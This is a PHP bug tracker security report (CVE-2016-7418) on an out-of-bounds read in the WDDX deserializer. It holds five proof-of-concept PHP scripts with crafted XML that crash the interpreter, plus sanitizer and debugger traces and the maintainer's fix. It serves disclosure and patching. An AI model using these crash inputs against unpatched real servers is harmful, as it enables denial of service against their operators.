php.net |  support |  documentation |  report a bug |  advanced search |  search howto |  statistics |  random bug |  login
Sec Bug #73065 Out-Of-Bounds Read in php_wddx_push_element of wddx.c
Submitted: 2016-09-12 02:30 UTC Modified: 2016-09-16 13:41 UTC
From: stackexploit at gmail dot com Assigned: stas (profile)
Status: Closed Package: WDDX related
PHP Version: 5.6.25 OS: Ubuntu
Private report: No CVE-ID: 2016-7418
Welcome back! If you're the original bug submitter, here's where you can edit the bug or add additional notes.
If you forgot your password, you can retrieve your password here.
Password:
Status:
Package:
Bug Type:
Summary:
From: stackexploit at gmail dot com
New email:
PHP Version: OS:

 

 [2016-09-12 02:30 UTC] stackexploit at gmail dot com
Description:
------------
CREDIT
-----------------------
This vulnerability was discovered by Ke Liu of Tencent's Xuanwu LAB.


PHP VERSION
-----------------------
./sapi/cli/php --version
PHP 7.2.0-dev (cli) (built: Sep 11 2016 18:37:49) ( NTS )
Copyright (c) 1997-2016 The PHP Group
Zend Engine v3.1.0-dev, Copyright (c) 1998-2016 Zend Technologies


PROOF-OF-CONCEPT FILE
-----------------------
Posted in the "Test script" section.


STACKTRACE
-----------------------
Posted in the "Actual result" section.


VULNERABILITY DETAILS
-----------------------
A DoS (null pointer dereference) vulnerability can be triggered in function wddx_deserialize. 
To reproduce this issue, please run export USE_ZEND_ALLOC=0 before executing the test script.

Test script:
---------------
<?php
    $xml = <<<XML
<?xml version='1.0' ?>
    <!DOCTYPE et SYSTEM 'w'>
    <wddxPacket ven='1.0'>
        <array>
            <var Name="name">
                <boolean value="keliu"></boolean>
            </var>
            <var name="1111">
                <var name="2222">
                    <var name="3333"></var>
                </var>
            </var>
        </array>
    </wddxPacket>
XML;
    
    $array = wddx_deserialize($xml);
    var_dump($array);
?>

Expected result:
----------------
Exit quietly.

Actual result:
--------------
==47769==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000000 
    (pc 0x00000046fb9c bp 0x7ffc278e29b0 sp 0x7ffc278e2130 T0)
    #0 0x46fb9b in __interceptor_strcmp.part.24 (php-src/sapi/cli/php+0x46fb9b)
    #1 0xac41d4 in php_wddx_push_element php-src/ext/wddx/wddx.c:791:9
    #2 0x7fa8715ac67f in _init (/lib/x86_64-linux-gnu/libexpat.so.1+0x867f)
    #3 0x7fa8715ad38b in _init (/lib/x86_64-linux-gnu/libexpat.so.1+0x938b)
    #4 0x7fa8715aecad in _init (/lib/x86_64-linux-gnu/libexpat.so.1+0xacad)
    #5 0x7fa8715af404 in _init (/lib/x86_64-linux-gnu/libexpat.so.1+0xb404)
    #6 0x7fa8715b170a in XML_ParseBuffer (/lib/x86_64-linux-gnu/libexpat.so.1+0xd70a)
    #7 0xac1717 in php_wddx_deserialize_ex php-src/ext/wddx/wddx.c:1081:2
    #8 0xabad7a in zif_wddx_deserialize php-src/ext/wddx/wddx.c:1299:2
    #9 0xfdfb3d in ZEND_DO_ICALL_SPEC_RETVAL_USED_HANDLER php-src/Zend/zend_vm_execute.h:675:2
    #10 0xe75f4b in execute_ex php-src/Zend/zend_vm_execute.h:432:7
    #11 0xe76ec3 in zend_execute php-src/Zend/zend_vm_execute.h:474:2
    #12 0xd00e9e in zend_execute_scripts php-src/Zend/zend.c:1464:4
    #13 0xad4425 in php_execute_script php-src/main/main.c:2537:14
    #14 0x10fca26 in do_cli php-src/sapi/cli/php_cli.c:990:5
    #15 0x10f9f60 in main php-src/sapi/cli/php_cli.c:1378:18
    #16 0x7fa86fec582f in __libc_start_main /build/glibc-GKVZIf/glibc-2.23/csu/../csu/libc-start.c:291
    #17 0x449578 in _start (php-src/sapi/cli/php+0x449578)

AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV (php-src/sapi/cli/php+0x46fb9b) in __interceptor_strcmp.part.24
==47769==ABORTING

Patches

Pull Requests

History

AllCommentsChangesGit/SVN commitsRelated reports
 [2016-09-12 03:57 UTC] stas@php.net
-Type: Security +Type: Bug
 [2016-09-12 03:57 UTC] stas@php.net
Was not able to reproduce in previous versions, master is not a released version.
 [2016-09-12 04:51 UTC] stackexploit at gmail dot com
-Type: Bug +Type: Security -PHP Version: master-Git-2016-09-12 (snap) +PHP Version: 7.0.10 -Private report: No +Private report: Yes
 [2016-09-12 04:51 UTC] stackexploit at gmail dot com
Hello, I can reproduce it with PHP 7.0.10. It's the current stable version according to http://php.net/downloads.php .

worker@ubuntu:~/Desktop/repo/php-7.0.10$ ./sapi/cli/php wddx_null.php 
ASAN:DEADLYSIGNAL
=================================================================
==33608==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000000 
(pc 0x00000046ef7c bp 0x7ffcfff765b0 sp 0x7ffcfff75d30 T0)
    #0 0x46ef7b in __interceptor_strcmp.part.24 (php-7.0.10/sapi/cli/php+0x46ef7b)
    #1 0xaacea4 in php_wddx_push_element php-7.0.10/ext/wddx/wddx.c:791:9
    #2 0x7f866498d67f in _init (/lib/x86_64-linux-gnu/libexpat.so.1+0x867f)
    #3 0x7f866498e38b in _init (/lib/x86_64-linux-gnu/libexpat.so.1+0x938b)
    #4 0x7f866498fcad in _init (/lib/x86_64-linux-gnu/libexpat.so.1+0xacad)
    #5 0x7f8664990404 in _init (/lib/x86_64-linux-gnu/libexpat.so.1+0xb404)
    #6 0x7f866499270a in XML_ParseBuffer (/lib/x86_64-linux-gnu/libexpat.so.1+0xd70a)
    #7 0xaaa3e7 in php_wddx_deserialize_ex php-7.0.10/ext/wddx/wddx.c:1086:2
    #8 0xaa3a1a in zif_wddx_deserialize php-7.0.10/ext/wddx/wddx.c:1304:2
    #9 0xf9aab9 in ZEND_DO_ICALL_SPEC_HANDLER php-7.0.10/Zend/zend_vm_execute.h:586:2
    #10 0xe45c3b in execute_ex php-7.0.10/Zend/zend_vm_execute.h:417:7
    #11 0xe4691b in zend_execute php-7.0.10/Zend/zend_vm_execute.h:458:2
    #12 0xcdd86e in zend_execute_scripts php-7.0.10/Zend/zend.c:1427:4
    #13 0xabcf35 in php_execute_script php-7.0.10/main/main.c:2494:14
    #14 0x1045d46 in do_cli php-7.0.10/sapi/cli/php_cli.c:974:5
    #15 0x1043270 in main php-7.0.10/sapi/cli/php_cli.c:1344:18
    #16 0x7f86632a682f in __libc_start_main /build/glibc-GKVZIf/glibc-2.23/csu/../csu/libc-start.c:291
    #17 0x448958 in _start (php-7.0.10/sapi/cli/php+0x448958)

AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV (php-7.0.10/sapi/cli/php+0x46ef7b) in __interceptor_strcmp.part.24
==33608==ABORTING
 [2016-09-12 05:22 UTC] stas@php.net
The backtrace looks kind of strange too. It says the problem is in line 791 of wddx.c, which is:

			if (!strcmp((char *)atts[i], EL_NAME) && atts[++i] && atts[i][0]) {

The problem is that the loop just above it is:

		if (atts) for (i = 0; atts[i]; i++) {

so if strcmp argument is 0, how did it enter the loop body? Something is wrong here.
 [2016-09-12 05:27 UTC] stas@php.net
-Status: Open +Status: Feedback
 [2016-09-12 05:27 UTC] stas@php.net
I also manually run through the code with the debugger and was not able to reproduce any problem, or see any null value in php_wddx_push_element. I suspect it's either a bug in AddressSanitizer or something is very wrong with your build.
 [2016-09-12 06:15 UTC] stackexploit at gmail dot com
-Status: Feedback +Status: Open
 [2016-09-12 06:15 UTC] stackexploit at gmail dot com
Hi, I debugged this issue and confirmed it exits. The information given by AddressSanitizer is wired. In fact it's not a NULL pointer dereference issue but an invalid pointer reference issue.


(gdb) r /path/to/poc/wddx_null.php 
Starting program: /home/worker/Desktop/repo/php-7.0.10/sapi/cli/php /path/to/poc/wddx_null.php

Breakpoint 1, php_wddx_push_element (user_data=0x7fffffffa160, name=0xcf9080 "var", atts=0xcf6e30)
    at /home/worker/Desktop/repo/php-7.0.10/ext/wddx/wddx.c:791
791			if (atts) for (i = 0; atts[i]; i++) {
(gdb) n
792				if (!strcmp((char *)atts[i], EL_NAME) && atts[++i] && atts[i][0]) {
(gdb) p i
$12 = 0
(gdb) p atts[i]
$13 = (const XML_Char *) 0xcf8699 "Name"

--------------------------------------------------------------------------------------
i = 0
atts[i] = "Name" (0xcf8699)
EL_NAME = "name"
Here strcmp((char *)atts[i], EL_NAME) != 0 and the remained conditions will not be checked.
--------------------------------------------------------------------------------------



(gdb) n
791			if (atts) for (i = 0; atts[i]; i++) {
(gdb) p i
$15 = 0
(gdb) n
792				if (!strcmp((char *)atts[i], EL_NAME) && atts[++i] && atts[i][0]) {
(gdb) p i
$16 = 1
(gdb) p atts[i]
$17 = (const XML_Char *) 0xcf783c "name"

--------------------------------------------------------------------------------------
i = 1
atts[i] = "name" (0xcf783c)
EL_NAME = "name"
Here strcmp((char *)atts[i], EL_NAME) == 0 and the remained conditions will be checked.
So executing atts[++i].
Here i equals 2 now. 

(gdb) x/20xw atts
0xcf6e30:	0x00cf8699	0x00000000	0x00cf783c	0x00000000
0xcf6e40:	0x00000000	0x00000000	0x61507801	0x74656b63
0xcf6e50:	0x580a0d3e	0x0d3b4c4d	0x2020200a	0x200a0d20
0xcf6e60:	0x24202020	0x61727261	0x203d2079	0x78646477
0xcf6e70:	0x7365645f	0x61697265	0x657a696c	0x6d782428

However atts[2] == 0, so the remained condition will not be checked.
--------------------------------------------------------------------------------------



(gdb) n
791			if (atts) for (i = 0; atts[i]; i++) {
(gdb) p i
$18 = 2
(gdb) n
792				if (!strcmp((char *)atts[i], EL_NAME) && atts[++i] && atts[i][0]) {
(gdb) p i
$19 = 3
(gdb) p atts[i]
$21 = (const XML_Char *) 0x74656b6361507801 <error: Cannot access memory at address 0x74656b6361507801>
(gdb) x/40xw atts
(gdb) x/20xw atts
0xcf6e30:	0x00cf8699	0x00000000	0x00cf783c	0x00000000
0xcf6e40:	0x00000000	0x00000000	[0x61507801	0x74656b63]  --> atts[3]
0xcf6e50:	0x580a0d3e	0x0d3b4c4d	0x2020200a	0x200a0d20
0xcf6e60:	0x24202020	0x61727261	0x203d2079	0x78646477
0xcf6e70:	0x7365645f	0x61697265	0x657a696c	0x6d782428

--------------------------------------------------------------------------------------
When executing the for-loop, firstly executing i++, then i equals 3.
Now atts[i] is not NULL! Only atts[2] is NULL but it's not checked in the for-loop.
Please notice that atts[2] was checked in the if statement!

Now atts[3] points to 0x74656b6361507801. When calling the strcmp function, the process
will receive signal SIGSEGV because the address cannot be read.
--------------------------------------------------------------------------------------



(gdb) n
Program received signal SIGSEGV, Segmentation fault.
__strcmp_sse2_unaligned () at ../sysdeps/x86_64/multiarch/strcmp-sse2-unaligned.S:31
31	../sysdeps/x86_64/multiarch/strcmp-sse2-unaligned.S: No such file or directory.

(gdb) x/i $rip
=> 0x7ffff6da1b5a <__strcmp_sse2_unaligned+26>:	movdqu (%rdi),%xmm1

(gdb) i r $rdi
rdi            0x74656b6361507801	8387227955626014721

(gdb) x/20xb $rdi
0x74656b6361507801:	Cannot access memory at address 0x74656b6361507801

(gdb) bt
#0  __strcmp_sse2_unaligned () at ../sysdeps/x86_64/multiarch/strcmp-sse2-unaligned.S:31
#1  0x000000000060ee81 in php_wddx_push_element (user_data=0x7fffffffa160, name=0xcf9080 "var", atts=0xcf6e30)
    at /home/worker/Desktop/repo/php-7.0.10/ext/wddx/wddx.c:792
#2  0x00007ffff7bb6680 in ?? () from /lib/x86_64-linux-gnu/libexpat.so.1
#3  0x00007ffff7bb738c in ?? () from /lib/x86_64-linux-gnu/libexpat.so.1
#4  0x00007ffff7bb8cae in ?? () from /lib/x86_64-linux-gnu/libexpat.so.1
#5  0x00007ffff7bb9405 in ?? () from /lib/x86_64-linux-gnu/libexpat.so.1
#6  0x00007ffff7bbb70b in XML_ParseBuffer () from /lib/x86_64-linux-gnu/libexpat.so.1
#7  0x0000000000610c05 in php_wddx_deserialize_ex (
    value=0x7ffff4282018 "<?xml version='1.0' ?>\r\n    <!DOCTYPE et SYSTEM 'w'>\r\n    <wddxPacket ven='1.0'>\r\n        <array>\r\n", ' ' <repeats 12 times>, "<var Name=\"name\">\r\n", ' ' <repeats 16 times>, "<boolean value=\"keliu\"></boolean>\r\n", ' ' <repeats 12 times>, "</var>\r"..., 
    vallen=391, return_value=0x7ffff42140c0) at /home/worker/Desktop/repo/php-7.0.10/ext/wddx/wddx.c:1087
#8  0x00000000006119f5 in zif_wddx_deserialize (execute_data=0x7ffff42140f0, return_value=0x7ffff42140c0)
    at /home/worker/Desktop/repo/php-7.0.10/ext/wddx/wddx.c:1305
#9  0x000000000074fb3b in ZEND_DO_ICALL_SPEC_HANDLER () at /home/worker/Desktop/repo/php-7.0.10/Zend/zend_vm_execute.h:586
#10 0x000000000074e3b8 in execute_ex (ex=0x7ffff4214030) at /home/worker/Desktop/repo/php-7.0.10/Zend/zend_vm_execute.h:414
#11 0x000000000074ecab in zend_execute (op_array=0x7ffff4283000, return_value=0x0) at /home/worker/Desktop/repo/php-7.0.10/Zend/zend_vm_execute.h:458
#12 0x00000000006be044 in zend_execute_scripts (type=8, retval=0x0, file_count=3) at /home/worker/Desktop/repo/php-7.0.10/Zend/zend.c:1427
#13 0x0000000000616881 in php_execute_script (primary_file=0x7fffffffcb50) at /home/worker/Desktop/repo/php-7.0.10/main/main.c:2494
#14 0x000000000082a37c in do_cli (argc=2, argv=0xc481a0) at /home/worker/Desktop/repo/php-7.0.10/sapi/cli/php_cli.c:974
#15 0x000000000082b625 in main (argc=2, argv=0xc481a0) at /home/worker/Desktop/repo/php-7.0.10/sapi/cli/php_cli.c:1344
(gdb) c
Continuing.

Program terminated with signal SIGSEGV, Segmentation fault.
The program no longer exists.
 [2016-09-12 06:21 UTC] stackexploit at gmail dot com
> [2016-09-12 05:22 UTC] stas@php.net
> The backtrace looks kind of strange too. It says the problem is in line 791 of wddx.c, which is:
> 			if (!strcmp((char *)atts[i], EL_NAME) && atts[++i] && atts[i][0]) {
> The problem is that the loop just above it is:
> 		if (atts) for (i = 0; atts[i]; i++) {
> so if strcmp argument is 0, how did it enter the loop body? Something is wrong here.

Here is my answer.

790  if (atts) for (i = 0; atts[i]; i++) {
791      if (!strcmp((char *)atts[i], EL_NAME) && atts[++i] && atts[i][0]) {
792          if (stack->varname) efree(stack->varname);
793          stack->varname = estrdup((char *)atts[i]);
794          break;
795      }
796  }

atts[0] = 0x0000000000cf8699  "Name"
atts[1] = 0x0000000000cf783c  "name"   EL_NAME
atts[2] = 0x0000000000000000  NULL
atts[3] = 0x74656b6361507801  ????

atts[2] was not checked in the for-loop but in the if statement. So strcmp(atts[3], EL_NAME) would cause an Out-Of-Bounds read issue.
 [2016-09-12 06:27 UTC] stackexploit at gmail dot com
-Summary: NULL pointer dereference in wddx_deserialize of wddx.c +Summary: Out-Of-Bounds Read in php_wddx_push_element of wddx.c
 [2016-09-12 06:27 UTC] stackexploit at gmail dot com
OS: Ubuntu 16.04 LTS 64-bit.

(gdb) x/i $rip
=> 0x7ffff6da1b5a <__strcmp_sse2_unaligned+26>:	movdqu (%rdi),%xmm1

(gdb) i r $rdi
rdi            0x74656b6361507801	8387227955626014721

>>> '74656b6361507801'.decode('hex')[::-1]
'\x01xPacket'
 [2016-09-12 06:44 UTC] stackexploit at gmail dot com
There are other four similar issues in function php_wddx_push_element.

------------
1. Line 740
------------
<?php
    $xml = <<<XML
<?xml version='1.0' ?>
    <!DOCTYPE et SYSTEM 'w'>
    <wddxPacket ven='1.0'>
        <array>
            <char Name="code">
                <boolean value="keliu"></boolean>
            </char>
        </array>
    </wddxPacket>
XML;
    
    $array = wddx_deserialize($xml);
    var_dump($array);
?>


------------
2. Line 758
------------
<?php
    $xml = <<<XML
<?xml version='1.0' ?>
    <!DOCTYPE et SYSTEM 'w'>
    <wddxPacket ven='1.0'>
        <array>
            <boolean Name="value">
                <boolean value="keliu"></boolean>
            </boolean>
        </array>
    </wddxPacket>
XML;
    
    $array = wddx_deserialize($xml);
    var_dump($array);
?>


------------
3. Line 804
------------
<?php
    $xml = <<<XML
<?xml version='1.0' ?>
    <!DOCTYPE et SYSTEM 'w'>
    <wddxPacket ven='1.0'>
        <array>
            <recordset Name="fieldNames">
                <boolean value="keliu"></boolean>
            </recordset>
        </array>
    </wddxPacket>
XML;
    
    $array = wddx_deserialize($xml);
    var_dump($array);
?>


------------
4. Line 838
------------
<?php
    $xml = <<<XML
<?xml version='1.0' ?>
    <!DOCTYPE et SYSTEM 'w'>
    <wddxPacket ven='1.0'>
        <array>
            <field Name="name">
                <boolean value="keliu"></boolean>
            </field>
        </array>
    </wddxPacket>
XML;
    
    $array = wddx_deserialize($xml);
    var_dump($array);
?>
 [2016-09-12 07:21 UTC] stas@php.net
OK, I see now what's going on here. AddressSanitizer message was misleading and my version of xmllib passes it with bunch of zeroes. Now I understand the issues, thanks.
 [2016-09-12 07:28 UTC] stas@php.net
-PHP Version: 7.0.10 +PHP Version: 5.6.25 -CVE-ID: +CVE-ID: needed
 [2016-09-12 07:35 UTC] stas@php.net
-Assigned To: +Assigned To: stas
 [2016-09-12 07:35 UTC] stas@php.net
The fix is in security repo as bbaf784f8d213e201baf67e861f20b38c6e87d3b and in https://gist.github.com/f0583c14f573737da81be2f6cef3b0fc
 [2016-09-12 07:36 UTC] stas@php.net
please verify
 [2016-09-12 08:42 UTC] stackexploit at gmail dot com
I've verified that the patch works fine. Thanks.
 [2016-09-13 04:04 UTC] stas@php.net
Automatic comment on behalf of stas
Revision: http://git.php.net/?p=php-src.git;a=commit;h=c4cca4c20e75359c9a13a1f9a36cb7b4e9601d29
Log: Fix bug #73065: Out-Of-Bounds Read in php_wddx_push_element of wddx.c
 [2016-09-13 04:04 UTC] stas@php.net
-Status: Assigned +Status: Closed
 [2016-09-13 04:06 UTC] stas@php.net
Automatic comment on behalf of stas
Revision: http://git.php.net/?p=php-src.git;a=commit;h=9528ce73156e2b6a5e96e371068b24a5975f4bcd
Log: Fix bug #73065: Out-Of-Bounds Read in php_wddx_push_element of wddx.c
 [2016-09-13 04:09 UTC] stas@php.net
Automatic comment on behalf of stas
Revision: http://git.php.net/?p=php-src.git;a=commit;h=9528ce73156e2b6a5e96e371068b24a5975f4bcd
Log: Fix bug #73065: Out-Of-Bounds Read in php_wddx_push_element of wddx.c
 [2016-09-13 04:11 UTC] stas@php.net
Automatic comment on behalf of stas
Revision: http://git.php.net/?p=php-src.git;a=commit;h=9528ce73156e2b6a5e96e371068b24a5975f4bcd
Log: Fix bug #73065: Out-Of-Bounds Read in php_wddx_push_element of wddx.c
 [2016-09-13 09:02 UTC] ab@php.net
Automatic comment on behalf of stas
Revision: http://git.php.net/?p=php-src.git;a=commit;h=c4cca4c20e75359c9a13a1f9a36cb7b4e9601d29
Log: Fix bug #73065: Out-Of-Bounds Read in php_wddx_push_element of wddx.c
 [2016-09-15 09:30 UTC] tyrael@php.net
Automatic comment on behalf of stas
Revision: http://git.php.net/?p=php-src.git;a=commit;h=7d011b6f59a3f5a59a9835f9ad40d9b40c266bec
Log: Fix bug #73065: Out-Of-Bounds Read in php_wddx_push_element of wddx.c
 [2016-09-16 13:41 UTC] kaplan@php.net
-CVE-ID: needed +CVE-ID: 2016-7418
 [2016-10-17 10:08 UTC] bwoebi@php.net
Automatic comment on behalf of stas
Revision: http://git.php.net/?p=php-src.git;a=commit;h=c4cca4c20e75359c9a13a1f9a36cb7b4e9601d29
Log: Fix bug #73065: Out-Of-Bounds Read in php_wddx_push_element of wddx.c
 [2016-10-17 10:08 UTC] bwoebi@php.net
Automatic comment on behalf of stas
Revision: http://git.php.net/?p=php-src.git;a=commit;h=9528ce73156e2b6a5e96e371068b24a5975f4bcd
Log: Fix bug #73065: Out-Of-Bounds Read in php_wddx_push_element of wddx.c
 
PHP Copyright © 2001-2024 The PHP Group
All rights reserved.
Last updated: Sun Dec 08 23:01:27 2024 UTC